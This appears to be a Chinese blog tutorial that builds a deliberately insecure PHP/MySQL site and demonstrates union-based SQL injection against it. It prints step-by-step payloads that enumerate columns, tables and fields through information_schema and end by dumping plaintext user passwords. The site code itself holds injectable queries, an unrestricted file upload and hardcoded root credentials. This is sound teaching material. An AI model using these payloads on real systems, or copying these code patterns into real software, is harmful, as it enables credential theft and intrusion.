【网络安全】初探SQL注入漏洞

news2024/9/29 11:22:38

如何利用SQL注入漏洞获取用户密码

  • 前言
    • 1. 设计思路
    • 2. 设计目的
  • 一、网站快速搭建
    • 1. 登录页
    • 2. 注册页
    • 3. 数据库连接页
    • 4. 首页(登录后跳转到此处)
    • 5. session页
    • 6. 注销页
    • 7. 查询页
    • 8. 数据库
  • 二、SQL注入实例(小试牛刀)
    • 1. 猜测漏洞逻辑
    • 2. 猜字段个数
      • 第1次尝试
      • 第2次尝试
      • 第3次尝试
      • 第4次尝试
      • 第5次尝试
      • 第6次尝试
      • 第7次尝试
    • 3. 猜字段名称
      • 第1次尝试
      • 第2次尝试
    • 4. 猜数据库名
      • 第1次尝试
    • 5. 猜数据库表
      • 第1次尝试
      • 第2次尝试
      • 第3次尝试
      • 第4次尝试
      • 第5次尝试(密码爆破成功)


前言

1. 设计思路

要想玩SQL注入,一个简单的数据交互页面是需要的,故我们用PHP做一个简易网页,有登录、注册和首页三块内容。

登录需要输入账号密码,等待提交后进入系统;

注册需要输入名字,密码,手机号,照片,等待提交后进入系统;

首页需要利用PHP和数据库联动后的查询语句,设计一个快捷查ID页;

在简易数据交互网站搭建好之后,我们利用浏览器提交的参数存在的漏洞,修改构造参数,提交SQL查询语句,并传递至服务器端,从而获取想要的敏感信息。

2. 设计目的

获取网站管理员账号和登录密码

在这里插入图片描述

一、网站快速搭建

最简单的网站,具备登录注册两个功能,还有登录后进入的主页,利用的技术是HTML+PHP+SQL

1. 登录页

在根目录下新建一个shiyan的文件夹,在下面新建login.php,先写一个大标题“请输入账号以及密码”,在输入账号和密码后,有提交按钮,要利用PHP语句对提交信息进行核实,若与数据库中存储信息一致,则进入系统。不一致则在最下方返回登录失败。

在这需要使用数据库连接的功能,为了方便,我将数据库连接写成conn.php文件,直接在login.php中调用即可。

在这里插入图片描述

<?php
	//调用数据库连接文件
	include("conn.php");
	//接收传递的用户名和密码
	$username=$_POST['username'];
	$password=$_POST['password'];
	
	//数据库查询语句
	//判断输入的账号和密码是否与数据库中内容对应
	$uapsql="select user,pass from kkk_tbl where user='$username' and pass='$password';";
	//连接数据库
	$reslust=mysqli_query($conn2,$uapsql);
	// var_dump($reslust);
	// var_dump();

	//登录成功判断
	//加@隐藏报警信息
    if(@mysqli_num_rows($reslust)){
    	//强制跳转游戏页
        header('Location:youxi.php');
        session_start();
        $_SESSION['login']='true';
    }else{
        $login = "登录失败";
        $_SESSION['login']='false';
    }
?>

<html>
	<head>
		<meta charset=utf-8>
	</head> 
	<h1>请输入账号以及密码</h1> 
	<form action="" method="post" ></br>
		<input type="text" name="username"> </br>
		<input type="password" name="password"> </br>
		<input type="submit"> 
	</form>
	//添加注册超链接
	<a href="zhuce.php">点击注册</a></br>
//将登录信息显示
<?php echo $login;?>

</html>

2. 注册页

新建zhuce.php,基本框架是form表单下输入的信息。我们将输入的信息传递给PHP处理,由参数name、password1、pasword2等等来接收用户提交数值。

然后对传递到的值进行判定,加一些限制条件,比如密码长度为8位,且两次输入密码必须相同,手机号为11位、上传照片类型为jpg格式。

用php对以上条件做出一定的限制,当他们都成立时,注册成功,并在表单的最下方显示部分注册信息,方便调试排除错误。

在这里插入图片描述

<head>
	<meta charset="utf-8">
</head>

<?php
	include("conn.php");
	
	$name=$_POST['name'];
	$password1=$_POST['password1'];
	$password2=$_POST['password2'];
	$shouji=$_POST['shouji'];
	$tupian=$_FILES['tupian'];
	$tupianname=$_FILES['tupian']['name'];
	
	// echo $name,$password1,$password2,$shouji,$tupian;
	if($_SERVER["REQUEST_METHOD"] == "POST"){
	    if(empty($name) || empty($password1) || empty($password2) || empty($shouji)){
	        $ERR="账号密码、手机号码不能为空";
		//密码长度8位,密码两次输入一致
		//密码验证
		//手机11位
		//文件上传jpg
	    }elseif(strlen($password1)<8){
	        $ERR="密码长度不足八位";
	    }elseif($password1!=$password2){
	        $ERR="两次输入密码不一致";
	    }elseif(strlen($shouji)!="11"){
	        $ERR="手机号码格式有问题";
	    }else{
	        // echo $_FILES["tupian"]["name"];
	        if (file_exists("tupian/" . $_FILES["tupian"]["name"])){
	            echo $_FILES["tupian"]["name"] . " 文件已经存在。 ";
	        }else{
	            // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
	            move_uploaded_file($_FILES["tupian"]["tmp_name"], "tupian/" . $_FILES["tupian"]["name"]);
	            // echo "文件存储在: " . "tupian/" . $_FILES["tupian"]["name"];
	        }
	        $sqlinsert="insert into kkk_tbl(user,pass,phone,file) 
	            value('$name','$password1','$shouji','$tupianname');";
	        var_dump($conn2);
	        if(mysqli_query($conn2, $sqlinsert)){
	            $ERR="注册成功</br>";
	        }else{
	            $ERR="注册失败</br>";
	        }; 
	    }
	}
?>

<form action="" method="post" enctype="multipart/form-data" > 
名字:
	<input type="text" name="name" > <br> 
	密码:
	<input type="password" name="password1" ><br> 
	重新输入密码:
	<input type="password" name="password2" ><br> 
	请输入手机号码:
	<input type="passwrd" name="shouji" ><br> 
	上传头像:
	<input type="file" name="tupian" ><br> 
	<input type="submit" value="提交">
</form>
//返回结果
<?php
	echo $ERR;
 	echo "你注册的用户为:".$name."</br>";
 	echo "你注册的手机号码:".$shouji."</br>";
         
?>

<img src="<?php echo "tupian/".$_FILES["tupian"]["name"]; ?>"

3. 数据库连接页

同样,新建conn.php文件,服务器为本地127.0.0.1,数据库管理员为root,密码为root,数据库名为kkk。通过执行php语句来创建数据库。

在这里插入图片描述

<head>
	<meta charset=utf-8>
</head>
<?php
	$servername = "localhost";
	$username = "root";
	$password = "root";
	$dbname = "kkk";
	
	// 创建连接
	$conn = mysqli_connect($servername, $username, $password);
	$conn2 = mysqli_connect($servername, $username, $password, $dbname);
	
	// 检测连接
	if (!$conn) {
	    die("连接失败: " . mysqli_connect_error());
	}else{
	    // echo "数据连接成功</br>";
	    if(mysqli_connect($servername, $username, $password, $dbname)){
	    // // echo "数据库表已经存在";
	    // $conn2 = mysqli_connect($servername, $username, $password, $dbname);
	    }else{
		    echo "开始自动创建数据库</br>";
		    $sql = "create DATABASE ".$dbname;
		    mysqli_query($conn, $sql);
		    echo "数据库创建成功</br>";
		    
		    $createtbl="CREATE TABLE IF NOT EXISTS `kkk_tbl`(
		        `id` INT UNSIGNED AUTO_INCREMENT,
		        `user` VARCHAR(10) NOT NULL,
		        `pass` VARCHAR(10) NOT NULL,
		        `phone` VARCHAR(11) NOT NULL,
		        `file` VARCHAR(30) ,
		        PRIMARY KEY ( `id` )
		     )ENGINE=InnoDB DEFAULT CHARSET=utf8;";
		     
		     $conn2 = mysqli_connect($servername, $username, $password, $dbname);
		     mysqli_query($conn2, $createtbl);
		     echo "数据表创建成功</br>";
	    }
	}
// mysqli_close($conn);
?>

4. 首页(登录后跳转到此处)

新建youxi.php文件,功能设计简单,主要是利用SQL查询,来显示用户名和用户ID。

在首页设计最上方,回显登录后的session信息提示(方便调试bug,可删),中间一个标题,一个超链接链接到查询页。

在这里插入图片描述

为什么要设计一个session信息多此一举呢,主要是因为该页面存在逻辑漏洞,即渗透人员不需要登录也能访问,故在没有session为true的认证下,用户无法查看该页面内容。

在这里插入图片描述

<?php
	include('session.php');
?>

<html>
	<head>
		<mate charset="utf-8">
	    <h1>游戏页面</h1>
	    <a href="select.php">点击查找账号以及ID的对应关系</a>
	</head>
</html>

5. session页

新建session.php
对登录页登录状态的检测,为真成功登录,为假则无法访问登录页的下一页。

<?php
	session_start();
	echo $_SESSION["login"];
	if ($_SESSION["login"] == true) {
	    echo "您已经成功登陆<a href='zhuxiao.php'>点击注销</a>";
	} else {
	    $_SESSION["login"] == false;
	    die("您无权访问,<a href='login.php'>点击跳转登录页面</a>");
	}
?>

6. 注销页

新建zhuxiao.php

在登录后想要彻底退出,就需要注销该session的状态,设置为false。销毁后强制转到登录页面。

<?php
	session_start();
	$_SESSION["login"]='false';
	session_destroy();
	header('Location:login.php');

?>

7. 查询页

新建select.php
查询需要利用数据库,故调用conn.php数据库连接文件,查询功能属于首页中的一部分,故需要session权限赋予,调用session.php文件。

它将从数据库表中查询到的id和user信息返回到下方显示,在标题上方的提示信息同样为了调试更快

在这里插入图片描述

<?php
	include('conn.php');
	include('session.php');
	
	$chaxun=$_GET['chaxun'];
	
	if(is_numeric($chaxun)){
	    $chaxun = "id = $chaxun;";
	}else{
	    $chaxun = "user = '$chaxun';";
	}
	
	$chaxun="select * from kkk_tbl where $chaxun;";
	echo $chaxun;
	// echo $chaxun;
	$lianjie=mysqli_query($conn2,$chaxun);
	$row=@mysqli_fetch_assoc($lianjie);
	$user=$row['user'];
	$id=$row['id'];
	// var_dump($lianjie);
	// while($row=mysqli_fetch_assoc($lianjie)){
	//     $user=$row['user'];
	//     $pass=$row['pass'];
	//     $phone=$row['phone'];
	//     echo "user:".$user."</br>"."pass:".$pass."</br>"."phone:".$phone."</br>";
	// }
?>

<html>
<head>
<mate charset="utf-8">
    <h1>请输入你要查询的id或者账号名字</h1>
    <form action="#" method="get">
        <input type="text" name="chaxun"> 
        <input type="submit" > 
    </form>
<?php
echo "id:".$id."</br>"."user:".$user."</br>";
?>
</head>
</html>

8. 数据库

我在这用的是mysql5.7,命令行登录进去可以更直观看到表中信息

在这里插入图片描述

二、SQL注入实例(小试牛刀)

简单练习一下SQL漏洞注入原理,无实战价值。

1. 猜测漏洞逻辑

以网站中该php网页为例,在浏览器源代码中可以看到使用网站使用PHP做数据交互。

网页可以输入的值只有id和user,故猜想PHP代码中会将浏览器传递的id和user赋值为一个新的变量。

在这里插入图片描述

因为我们作为开发者,知道网页的实现逻辑,是可以通过传递过程中$chaxun值的改变来做SQL注入。而对其他陌生网页,代码逻辑还需要不断尝试猜测。

在这里插入图片描述

SQL注入的核心,就是通过传值接口操作数据库语句,来达到我们预期的结果。

2. 猜字段个数

会发现,网页中SQL语句结构是这样的

注入的一个思路就是利用 ’ 和 --+ 或者 # 注释没用的内容,把我们想要查询的语句传递过去。

在这里插入图片描述

在找到SQL注入的点后,猜字段大多数使用order by,对其进行排序来获取字段数量

第1次尝试

在文本输入框输入下面语句,代替之前的值

admin'order by 1

无结果,发现多余的单引号影响语句运行
在这里插入图片描述

第2次尝试

我们就利用SQL语句的一些特性,将其注释,消除影响

admin'order by 1 or '1'='1

可以看到,结果返回id和用户名,证明该语句在注释掉后面内容后,能够实现排序操作

在这里插入图片描述
接下来我们利用这个突破口进行多次尝试,来确定字段个数

第3次尝试

admin' order by 2#'

排序语句生效
在这里插入图片描述

第4次尝试

admin' order by 3#'

排序语句生效
在这里插入图片描述

第5次尝试

admin' order by 4#'

排序语句生效

在这里插入图片描述

第6次尝试

admin' order by 5#'

排序语句生效

在这里插入图片描述

第7次尝试

admin' order by 6#'

排序语句无效,说明表中字段只有5个

在这里插入图片描述

通过几次尝试后,我们确定了字段个数,接下来就需要字段位置,名称

3. 猜字段名称

我们利用查询语句,查找回显的位置

第1次尝试

admin'union select 1,2,3,4,5#'

返回符合预期,但是无法判断字段的位置
在这里插入图片描述

第2次尝试

我们把admin变为空值,这样在传值后,会将id和user用12345中数字表示出来,进而可以确定字段位置

-admin'union select 1,2,3,4,5#'

说明,第一个字段是id,第二个字段是user

在这里插入图片描述

4. 猜数据库名

由于上面已经得出id和user的确切位置,所以我们只需要在对应位置上将其替换为两个输出函数即可得出结果

第1次尝试

-admin'union select user(),database(),3,4,5#'

得出数据库名是kkk,数据库用户是本地root
在这里插入图片描述

我们的目的是拿到账号和密码,现在知道库名kkk,库的用户root,库中的表有五个字段并且第一个字段是id,第二个字段是用户名

但是密码字段在哪,内容是什么我们并不知道

所以我们对数据库表进行注入

5. 猜数据库表

想要猜表中对应密码字段下的内容,我们先得知道表名是什么

在这我们需要用到一个数据库中特殊的表,information_schema.tables 是一个特殊的表,里面存放着数据库中的所有表

select * from information_schema.tables;

在数据库命令行中执行,返回结果是这样的

在这里插入图片描述

但我们现在无法进入数据库操作台,我们只能利用查询语句中的语法漏洞来通过注入sql语句返回我们想要的内容

第1次尝试

查询kkk数据库下的表所有内容

-admin'union select user(),database(),3,4,5 from information_schema.tables where TABLE_SCHEMA="kkk";#'

返回结果没有达到预期

在这里插入图片描述

仔细看会发现,我们的注入语句中没有指定查找的表中具体信息,查找条件无法精准定位到表

第2次尝试

所以我们将第一位的user()函数和第二位的database()函数改为id为1和表名table_name,这样,在执行这条语句后,服务器会根据table_name返回表名。

-admin'union select 1,table_name,3,4,5 from information_schema.tables where TABLE_SCHEMA="kkk";#'

可以看到,表名是kkk_tbl

在这里插入图片描述

现在我们知道表名,表的前两个字段名,但其余字段如何获取呢,就需要对剩余字段名进行猜测

第3次尝试

利用同样的方法,对其余字段进行查询,让它在第二位输出列名colum_name,即字段名

-admin'union select 1,column_name,3,4,5 from information_schema.columns where TABLE_name="kkk_tbl";#'

结果发现,输出内容只有字段中第一个id,剩下4个字段并未显示
在这里插入图片描述

第4次尝试

所以我们需要对SQL注入语句进行优化,将所有返回数值用字符串的形式在第字段第二位一起返回。利用group_concat()函数实现

-admin'union select 1,group_concat(column_name),3,4,5 from information_schema.columns where TABLE_name="kkk_tbl";#'

结果输出五个字段的名称,分别是id、user、pass、phone、file

在这里插入图片描述

到此为止,我们知道了数据库名kkk,数据库用户root,表名kkk_tbl,表中字段个数5,字段名分别是id、user、pass、phone、file。

距离获取密码只差最后一步

在得知表中第三位字段是密码后,我们用同样的方法,尝试

第5次尝试(密码爆破成功)

利用group_concat()函数,输出该表下所有的用户和密码数值

-admin'union select 1,group_concat(user,pass),3,4,5 from kkk_tbl;#'

结果符合预期,两个用户,admin和111,密码分别是123456和12345678
在这里插入图片描述

我们在命令行中检查一下数据正确性

在这里插入图片描述

完全符和

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/711653.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

tomcat部署以及优化

目录 1.三个核心组件 2.tomcat服务部署 3.虚拟主机配置 4.tomcat优化 5.部署两台tomcat服务器 6.总结 1.三个核心组件 web容器 完成web服务 servlet容器 名为catalina 用于处理servlet JSP容器 将JSP动态网页翻译成…

网络通信之旅:揭秘交换机、路由器与网关的神奇世界!

文章目录 一 交换机2.1 交换机初识2.2 MAC地址表2.3 数据包2.4 交换机与数据包2.5 泛洪2.6 结论&#xff1a;交换机—二层设备 三 路由器3.1 WAN口&LAN口3.2 路由器-WAN交换机 四 网关4.1 子网划分4.2 网关4.3 路由 五 实践&#xff1a;路由器桥接-搭建主副路由器5.1 知识探…

动态规划:

这类问题非常简单&#xff0c;甚至看起来有点笨&#xff0c;说白了就是利用计算机的计算能力一步步算过去&#xff0c;也就是大多数人没有意识到的递推问题 比如求1~n的前缀和&#xff1a; #include<iostream> using namespace std; long long sum[100]; int main(){in…

20kV高精度可调高压稳压测试电源的学习与使用

一&#xff1a;应用范围 A: 二极管反向耐压测试 B: 二极管反向漏电流测试 C: 高压电容耐压测试 D: 玻璃釉电阻非线性性能测试 E:氙灯击穿电压测试 F: 材料耐压测试 二、特点 高精度恒流恒压高压输出源 它拥有0~20kV的电压输出能力, 0.005%的电压分辨率精度, 0.1uA的电 …

Docker安装Prometheus和Grafana监控Redis

Docker安装Prometheus和Grafana监控Redis 使用 Docker 安装 Grafana 和 Prometheus 无疑是最简单的&#xff0c;我们接下来将采用此种方式。 1、安装Prometheus 查看Prometheus镜像 $ docker search prometheus拉取镜像 $ docker search bitnami/prometheus在/home/zhangs…

css 小程序 按钮控件点击区域放大 热点区域

背景&#xff1a; 小程序在手机上屏幕过小&#xff0c;但是又想放很多元素&#xff0c;这时候点击区域&#xff0c;命中元素概率很&#xff0c;希望能在不布局不变形情况下&#xff0c;把点击区域放大。 先看效果&#xff1a; 解决方法&#xff1a; 通过&#xff1a;transfo…

WebGL交错缓冲区【Interleaved Buffer】

推荐&#xff1a;用 NSDT设计器 快速搭建可编程3D场景。 昨天我在 WebGL 沙箱项目的评论中收到 Jon 的一个问题&#xff1a; 嗨, 布兰登&#xff0c;以你的演示为起点&#xff0c;我尝试显示一个金字塔&#xff0c;但到目前为止我只能看到它的四个面之一。 如果我使用 gl.LINES…

零信任:基于Apisix构建认证网关

背景 零信任一直是我们未来主攻的一个方向&#xff0c;全球加速&#xff0c;SD-WAN组网都是一些非常成熟的产品&#xff0c;全球加速是我们所有产品的底座&#xff0c;SD-WAN解决的是多个网络打通的问题&#xff0c;而零信任则主打应用访问。 关于零信任&#xff0c;我们已经…

使用Wireshark 找出 TCP 吞吐瓶颈

Debug 网络质量的时候&#xff0c;我们一般会关注两个因素&#xff1a;延迟和吞吐量&#xff08;带宽&#xff09;。延迟比较好验证&#xff0c;Ping 一下或者 mtr[1] 一下就能看出来。这篇文章分享一个 debug 吞吐量的办法。 看重吞吐量的场景一般是所谓的长肥管道(Long Fat …

包装类~~

就是8种基本数据类型对应的引用类型 2&#xff1a;为什么提供包装类 Java为了实现一切皆对象&#xff0c;对8种基本类型提供了对应的引用类型后面的集合和泛型其实也只能支持包装类型&#xff0c;不支持基本数据类型。 自动装箱&#xff1a;基本类型的数据和变量可以直接赋值…

ResNet:深度学习中的重要里程碑

目录 导言&#xff1a; 1. 应用 2. 结构介绍 3. 代码案例 导言&#xff1a; 深度学习的迅速发展在图像识别、语音处理和自然语言处理等领域取得了巨大的突破。然而&#xff0c;深度神经网络在训练过程中遇到了梯度消失和梯度爆炸等问题&#xff0c;限制了模型的性能和训练…

【springboot整合】RabbitMQ

Spring与消息 概述 消息中间件的主要作用&#xff1a;提高系统异步通信、扩展解耦能力消息服务的两个重要概念&#xff1a;消息代理&#xff08;message broker&#xff09;和目的地&#xff08;destination&#xff09;消息队列的两种形式的目的地&#xff1a;队列&#xff…

CentOS ping命令:name or service not known

1.虚拟机网络连接设置为“NAT模式”&#xff0c;且NAT设置 导航栏“编辑”->“虚拟网络编辑器” ->NAT模式->NAT设置 2.网络配置文件 vi /etc/sysconfig/network-scripts/ifcfg-ens33注&#xff1a;IPADDR和NAT设置里面的IP最后一位要不同 3.DNS设置 vi /etc/reso…

自然语言处理: 第四章Seq2Seq

自然语言处理: 第四章Seq2Seq 理论基础 开始之前&#xff0c;首先提出一个问题&#xff0c;电脑是怎么识别人类的命令的&#xff0c;首先人们通过输入代码(编码) &#xff0c;带入输入给计算机然后再经过处理(解码)得到最终的命令。所以可以看到这其实是一个编码 解码的过程…

lesson10 Zigbee组播通信原理

目录 Zigbee组播通信原理 实验原理 实验过程 实验设计 发送模块 接收模块 实验现象 组播通信总结 Zigbee组播通信原理 实验原理 1、组播通信&#xff1a;在Zigbee无线网络里&#xff0c;模块可以进行分组来标记。发送的模块如果发送的组号和网络里标记模块的组号相对应…

被偷走的文件

也是一道流量解析题目 既然是文件被盗走&#xff0c;可能跟文件传输协议ftp有关&#xff0c;过滤一下ftp 跟踪流后发现有一个flag.rar文件&#xff0c;是内嵌的吗&#xff1f; 那说明应该也可以利用binwal分出来吧 分离出来的rar文件需要密码&#xff0c;拿去爆破一下&#xff…

03_ES6

ES6(在js中进行操作) 使用var声明变量的弊端 var 声明的变量有预解析&#xff0c;造成逻辑混乱&#xff0c;可以先使⽤&#xff0c;后声明,undefined var 可以重复定义同⼀个变量&#xff0c;第二个会修改变量的值 var ⽤在 for 循环条件中&#xff0c;造成 for 循环的污染的…

【八股】【C++】(三)STL

这里写目录标题 STL定义一、容器概念&#xff08;1&#xff09;vector如何避免扩容导致效率低为什么是1.5或2扩容怎么找某vector或者list的倒数第二个元素vector如何释放空间[] 下标检查 &#xff08;2&#xff09;deque&#xff08;3&#xff09;stack&#xff08;4&#xff0…

如何通过Python下载GSMap数据集(解决.dat无法打开的问题)?

目录 01 前言 02 GSMap-MVK的存储方式和数据集介绍 03 代码实现 01 前言 这么晚了我还是希望将这篇博客写一下&#xff0c;记录生活。 我所下载的数据集为GSMap-MVK数据集&#xff0c;延迟大概2.5月左右我记得.边下载我就想着先处理着吧。 例如&#xff0c;其中一个文件如…